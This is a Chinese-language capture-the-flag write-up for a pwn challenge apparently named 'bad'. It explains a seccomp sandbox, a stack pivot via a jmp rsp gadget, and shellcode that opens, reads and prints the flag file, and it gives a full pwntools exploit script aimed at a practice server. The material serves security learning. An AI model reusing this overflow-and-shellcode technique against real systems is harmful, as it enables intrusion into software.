image.png
    有可执行的bss段
    image.png
    申请了一个mmap,
    image.png
    看来是沙箱,我刚开始没注意。。。
    image.png

    溢出只有0x18个对吧,所以只能迁移,往哪迁移呢?这里有两个选择,一个是bss段还一个是mmap,两个都行,然后是栈可执行的,所以我们可以往栈上写指令,问题又来了怎么控制我们的程序执行流。我刚开始是想控制read和leave控制然后往mmap写shellcode,但是这里执行时rdi是1所以没成功。这道题目查了之后才发现
    image.png
    jmp rsp 天无绝人之路

    1. from pwn import*
    2. context.arch ="amd64"
    3. context.log_level = 'debug'
    4. def debug():
    5. gdb.attach(io)
    6. pause()
    7. io = remote("node4.buuoj.cn",28625)
    8. #io = process("./bad")
    9. elf =ELF("./bad")
    10. mmap_addr = 0x6010A8 #0x123000也行
    11. offset = 0x20
    12. jmp_rsp = 0x0400A01
    13. payload1 = asm(shellcraft.read(0,mmap_addr,0x100) + 'mov rax,0x6010A8;call rax')
    14. payload1 = payload1.ljust((offset + 8),b"A")
    15. payload1 += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
    16. io.sendafter("have fun!\n",payload1)
    17. payload2 = asm(shellcraft.open("./flag"))
    18. payload2 += asm(shellcraft.read(3,mmap_addr,0x30))
    19. payload2 += asm(shellcraft.write(1,mmap_addr,0x30))
    20. io.send(payload2)
    21. io.interactive()
    1. asm("sub rsp,0x30;jmp rsp")

    可能这句话比较难明白,程序调试后rsp 已经经过leave回到了rbp那个地址然后还有个ret总共0x10所以最后是sub rsp ,0x30
    seccomp-tools的安装

    1. sudo apt install gcc ruby-dev
    2. sudo gem install seccomp-tools